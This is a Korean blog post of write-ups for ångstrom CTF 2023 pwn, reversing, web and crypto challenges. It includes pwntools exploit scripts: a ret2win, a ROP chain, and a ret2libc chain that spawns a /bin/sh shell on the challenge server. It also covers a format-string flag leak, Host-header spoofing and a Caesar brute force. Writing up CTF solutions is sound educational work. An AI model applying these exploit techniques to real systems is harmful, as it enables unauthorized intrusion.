ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

ångstrom CTF 2023
CTF

ångstrom CTF 2023

2023. 5. 2. 20:42

고등학생을 대상으로 한 CTF라고 해서 참가해봤는데 생각보다 많이 어려웠습니다..

(아직 갈길이 멀다는 것을 깨달은..)

 


PWN

 

1. queue

아이다로 디컴파일 해보면 다음과 같습니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t rgid; // [rsp+4h] [rbp-CCh]
  FILE *stream; // [rsp+8h] [rbp-C8h]
  char format[48]; // [rsp+10h] [rbp-C0h] BYREF
  char s[136]; // [rsp+40h] [rbp-90h] BYREF
  unsigned __int64 v9; // [rsp+C8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("Error: missing flag.txt.");
    exit(1);
  }
  fgets(s, 128, stream);
  printf("What did you learn in class today? ");
  fgets(format, 48, stdin);
  printf("Oh nice, ");
  printf(format);
  printf("sounds pretty cool!");
  return v9 - __readfsqword(0x28u);
}

 

printf에 인자를 원하는대로 설정할 수 있는 것을 보니 FSB를 이용한 문제인 것으로 보입니다.

%p를 계속해서 써주면 플래그 문자열이 나와버립니다.

$ nc challs.actf.co 31322
What did you learn in class today? %p%p%p%p%p%p%p%p%p%p%p%p.%p.%p.%p.%p.%p.%p.%p
Oh nice, 0x7ffc4c4fa1f0(nil)0x7fd149620a370x90x563555a894900x3e8000000000x563555a882a00x70257025702570250x70257025702570250x70257025702570250x252e70252e70252e0x2e70252e70252e70.0xa70252e7025.0x3474737b66746361.0x75715f74695f6b63.0x615f74695f657565.0x3437396461393136.0x7d32326234363863.(nil)
sounds pretty cool!

 

빅엔디안으로 바꿔주면 플래그가 나옵니다.

 

2. gaga

3개의 문제로 나눠져 있습니다.

 

gaga0의 익스플로잇 코드는 다음과 같습니다.

from pwn import *

#context.log_level='debug'

p = process('./gaga0')
p = remote('challs.actf.co',31300)

p.recvuntil(b'at address ')
win = int(p.recvuntil(b'.')[:-1],16)
pay = b'a'*0x48 + p64(win)
p.sendafter(b'Your input:',pay)
p.interactive()

 

gaga1의 익스플로잇 코드는 다음과 같습니다.

from pwn import *

#context.log_level='debug'

p = process('./gaga1')
p = remote('challs.actf.co',31301)
e = ELF('./gaga1')

pr = 0x00000000004013b3
ppr = 0x00000000004013b1
win1 = e.symbols['win1']

pay = b'a'*0x48
pay += p64(pr) + p64(4919)
pay += p64(ppr) + p64(16705) + p64(0)
pay += p64(win1)
p.sendafter(b'Your input:',pay)
p.interactive()

 

gaga2는 풀지 못해서 라업을 봤는데 접근은 맞았으나

stack alignment, main함수의 주소 등에서 실수를 해서 풀리지 않았습니다.

 

gaga2의 익스플로잇 코드는 다음과 같습니다.

from pwn import *

# context.log_level='debug'

p = process('./gaga2')
p = remote('challs.actf.co',31302)
e = ELF('./gaga2',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
# gdb.attach(p)

POP_RDI = p64(0x00000000004012b3)
POP_RSI_R15 = p64(0x00000000004012b1)
RET = p64(0x000000000040101a)
puts_plt = e.plt['puts']
print('puts_plt:',hex(puts_plt))

# libc leak
pay = b'a'*0x48
pay += RET
pay += POP_RDI + p64(0x404058)
pay += p64(puts_plt)
pay += RET
pay += p64(e.symbols['main'])

# send payload
p.sendlineafter(b'Your input:',pay)

stdout = u64(p.recvn(8)[1:-1]+b'\x00'*2)
print('stdout:',hex(stdout))

libc_base = stdout - 0x1ed6a0
print('libc_base:',hex(libc_base))

binsh = libc_base + next(libc.search(b'/bin/sh'))
print('binsh: ',hex(binsh))

system_plt = libc_base + 0x52290
print('system_plt: ',hex(system_plt))

# system("/bin/sh")
pay2 = b'a'*0x48
pay2 += POP_RDI + p64(binsh)
pay2 += RET
pay2 += p64(system_plt)

# send payload
p.sendlineafter(b'Your input:',pay2)

p.interactive()
$ python3 ex2-2.py
[+] Starting local process './gaga2': pid 350
[+] Opening connection to challs.actf.co on port 31302: Done
puts_plt: 0x401094
stdout: 0x7f1c23de06a0
libc_base: 0x7f1c23bf3000
binsh:  0x7f1c23da75bd
system_plt:  0x7f1c23c45290
[*] Switching to interactive mode
 $ cat flag.txt
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}[*] Got EOF while reading in interactive
$
[*] Closed connection to challs.actf.co port 31302
[*] Stopped process './gaga2' (pid 350)

 


REV

 

1. checkers

아이다로 까보면 플래그를 찾을 수 있습니다.

 

2. zaza

아이다로 디컴파일 해보면 다음과 같습니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+8h] [rbp-58h] BYREF
  unsigned int v6; // [rsp+Ch] [rbp-54h] BYREF
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v8; // [rsp+58h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  v5 = 0;
  v6 = 0;
  printf("I'm going to sleep. Count me some sheep: ");
  __isoc99_scanf("%d", &v5);
  if ( v5 != 4919 )
  {
    puts("That's not enough sheep!");
    exit(1);
  }
  printf("Nice, now reset it. Bet you can't: ");
  __isoc99_scanf("%d", &v6);
  if ( v5 * v6 == 1 )
  {
    printf("%d %d", v6, v6 + v5);
    puts("Not good enough for me.");
    exit(1);
  }
  puts("Okay, what's the magic word?");
  getchar();
  fgets(s, 64, stdin);
  s[strcspn(s, "\n")] = 0;
  xor_((__int64)s);
  if ( strncmp(s, "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#", 0x32uLL) )
  {
    puts("Nope");
    exit(1);
  }
  win();
  return v8 - __readfsqword(0x28u);
}

먼저 v5가 4919이어야 하므로 4919를 입력해줍니다.

다음으로 v5*v6가 1이 아니기만 하면 되니까 그냥 1을 입력해줍니다.

마지막으로 매직워드를 입력하라고 하는데 이는 xor_ 함수를 분석해야 합니다.

 

xor_ 함수를 디컴파일 해보면 다음과 같습니다.

size_t __fastcall xor_(__int64 a1)
{
  size_t result; // rax
  int i; // [rsp+14h] [rbp-1Ch]

  for ( i = 0; ; ++i )
  {
    result = strlen("anextremelycomplicatedkeythatisdefinitelyuselessss");
    if ( i >= result )
      break;
    *(_BYTE *)(i + a1) ^= aAnextremelycom[i];
  }
  return result;
}

입력한 배열 a1과 aAnextremelycom 배열을 XOR 연산합니다.

연산 결과가 "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#" 가 되어야 합니다.

"2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#" == a1[i] ^  aAnextremelycom[i]이어야 하므로

a1은 "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#"  ^ aAnextremelycom[i]을 수행한 결과가 됩니다.

aAnextremelycom = "anextremelycomplicatedkeythatisdefinitelyuselessss"
result = "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#"

for i in range(len(result)):
    f = ord(result[i]) ^ ord(aAnextremelycom[i])
    print(chr(f), end='')
SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP

 

$ nc challs.actf.co 32760
I'm going to sleep. Count me some sheep: 4919
Nice, now reset it. Bet you can't: 1
Okay, what's the magic word?
SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP
actf{g00dnight_c7822fb3af92b949}

 

 

나머지 문제들은 문제들의 확장자가 이상해서 어떻게 풀어야 할 지 몰라 못 풀었습니다..

 


WEB

개인적으로 웹 분야는 쉬운 문제와 어려운 문제의 격차가 심했던 것 같습니다..

 

1. catch me if you can

소스 코드에 플래그가 박혀 있습니다.

 

2. Celeste Speedrunning Association

문제 화면입니다.

 

/play로 가봅니다.

 

버튼을 누르면 실패했다고 합니다.

코드를 살펴보니 value 값을 기준으로 기록을 측정하는 것으로 보입니다.
헤당 값을 미래 시간으로 변조한 뒤 버튼을 누르면 플래그를 얻을 수 있습니다.

 

 


3. shortcircuit

페이지에 있는 js 코드는 다음과 같습니다.

const swap = (x) => {
    let t = x[0]
    x[0] = x[3]
    x[3] = t

    t = x[2]
    x[2] = x[1]
    x[1] = t

    t = x[1]
    x[1] = x[3]
    x[3] = t

    t = x[3]
    x[3] = x[2]
    x[2] = t

    return x
}

const chunk = (x, n) => {
    let ret = []

    for(let i = 0; i < x.length; i+=n){
        ret.push(x.substring(i,i+n))
    }

    return ret
}

const check = (e) => {
    if (document.forms[0].username.value === "admin"){
        if(swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"){
            location.href="/win.html"
        }
        else{
            document.getElementById("msg").style.display = "block"
        }
    }
}

 

콘솔을 이용해 다음과 같이 함수를 한 번 더 돌리면 플래그 값들이 나눠져서 배열로 나옵니다.

인덱스 번호를 기준으로 3 0 2 1 또는 3 2 0 1 순으로 조합해 제출하니

3 0 2 1 순으로 조합한 문자열이 플래그였습니다.

 


4. directory

5000개가 있는 페이지에서 플래그가 있는 페이지를 찾는 문제입니다.

파이썬으로 자동화 코드를 작성하여 풀 수 있습니다.

import requests

i = 4999
while True:
    host = f'https://directory.web.actf.co/{i}.html'
    
    re = requests.get(host)
    if len(re.text) != 28:
        print(f'i: {i}')
        print(re.text)
        break
    else:
        print(i,end=' ')
        i -= 1
4999 4998 4997 4996 4995 4994 ... 3057 3056 3055 i: 3054
actf{y0u_f0und_me_b51d0cde76739fa3}

 


5. Celeste Tunneling Association

# run via `uvicorn app:app --port 6000`
import os

SECRET_SITE = b"flag.local"
FLAG = os.environ['FLAG']

async def app(scope, receive, send):
    assert scope['type'] == 'http'

    headers = scope['headers']

    await send({
        'type': 'http.response.start',
        'status': 200,
        'headers': [
            [b'content-type', b'text/plain'],
        ],
    })

    # IDK malformed requests or something
    num_hosts = 0
    for name, value in headers:
        if name == b"host":
            num_hosts += 1

    if num_hosts == 1:
        for name, value in headers:
            if name == b"host" and value == SECRET_SITE:
                await send({
                    'type': 'http.response.body',
                    'body': FLAG.encode(),
                })
                return

    await send({
        'type': 'http.response.body',
        'body': b'Welcome to the _tunnel_. Watch your step!!',
    })

 

header에 {host: flag.local} 를 넣어주면 플래그가 나옵니다.

import requests

host = "https://pioneer.tailec718.ts.net/"
header = {b"host":b"flag.local"}
re = requests.post(host,headers=header)
print(re.text)
actf{reaching_the_core__chapter_8}

 


CRYPTO

 

1. ranch

import string

f = open("flag.txt").read()

encrypted = ""

shift = int(open("secret_shift.txt").read().strip())

for i in f:
    if i in string.ascii_lowercase:
        encrypted += chr(((ord(i) - 97 + shift) % 26)+97)
    else:
        encrypted += i

print(encrypted)

 

고전 암호인 시저 암호 문제입니다.

 

위 코드의 결과로

“rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}”

라는 값이 주어집니다.

이를 역연산하면 됩니다.

import string

encrypted = "rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}"
decrypted = ''

shift = 0
while True:
    for i in encrypted:
        if i in string.ascii_lowercase:
            decrypted += chr(((ord(i) - 97 + shift) % 26)+97)
        else:   
            decrypted += i
    if 'actf' in decrypted:
        print(decrypted)
        break
    else:
        print(decrypted)
        decrypted = ''
        shift += 1
rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}
sulx{dg0ck_dacw_ow'dd_z4nw_lg_ljq_sf0lzwj_vjwkk1fy_5wx89t3s44901831}
tvmy{eh0dl_ebdx_px'ee_a4ox_mh_mkr_tg0maxk_wkxll1gz_5xy89u3t44901831}
uwnz{fi0em_fcey_qy'ff_b4py_ni_nls_uh0nbyl_xlymm1ha_5yz89v3u44901831}
vxoa{gj0fn_gdfz_rz'gg_c4qz_oj_omt_vi0oczm_ymznn1ib_5za89w3v44901831}
wypb{hk0go_hega_sa'hh_d4ra_pk_pnu_wj0pdan_znaoo1jc_5ab89x3w44901831}
xzqc{il0hp_ifhb_tb'ii_e4sb_ql_qov_xk0qebo_aobpp1kd_5bc89y3x44901831}
yard{jm0iq_jgic_uc'jj_f4tc_rm_rpw_yl0rfcp_bpcqq1le_5cd89z3y44901831}
zbse{kn0jr_khjd_vd'kk_g4ud_sn_sqx_zm0sgdq_cqdrr1mf_5de89a3z44901831}
actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}

 

2. impossible

#!/usr/local/bin/python

def fake_psi(a, b):
    return [i for i in a if i in b]

def zero_encoding(x, n):
    ret = []

    for i in range(n):
        if (x & 1) == 0:
            ret.append(x | 1)

        x >>= 1

    return ret

def one_encoding(x, n):
    ret = []

    for i in range(n):
        if x & 1:
            ret.append(x)

        x >>= 1

    return ret

print("Supply positive x and y such that x < y and x > y.")
x = int(input("x: "))
y = int(input("y: "))

if len(fake_psi(one_encoding(x, 64), zero_encoding(y, 64))) == 0 and x > y and x > 0 and y > 0:
    print(open("flag.txt").read())

zero_encoding, one_encoding 모두 오른쪽으로 한 칸씩 옮겨가면서 64번 연산을 수행합니다.

zero_encoding은 1과 &연산하여 0이면 ret에 추가됩니다. 

one_encoding은 1과 &연산하여 1이상이면 ret에 추가됩니다.

 

fake_psi를 보면 zero_encoding의 ret에 있으면서 one_encoding의 ret에 존재하는 원소들을 리스트로 리턴합니다.

즉, zero_encoding의 ret에 원소가 없으면 됩니다.

1과 &연산하여 0이 되는 값은 0밖에 없으므로 0이 되지 않도록 하면 됩니다.


시프트 연산을 64번 수행하니 2^64을 넣어주면 됩니다.

% nc challs.actf.co 32200
Supply positive x and y such that x < y and x > y.
x: 18446744073709551616
y: 1
actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}

 

 

'CTF' 카테고리의 다른 글

vsCTF 2023  (0) 2023.09.25
CSAW CTF Qualification Round 2023  (0) 2023.09.18
SECCON CTF 2023 Quals  (0) 2023.09.17
BDSec CTF 2023  (0) 2023.07.22
AmateursCTF 2023  (0) 2023.07.20
    'CTF' 카테고리의 다른 글
    • CSAW CTF Qualification Round 2023
    • SECCON CTF 2023 Quals
    • BDSec CTF 2023
    • AmateursCTF 2023
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바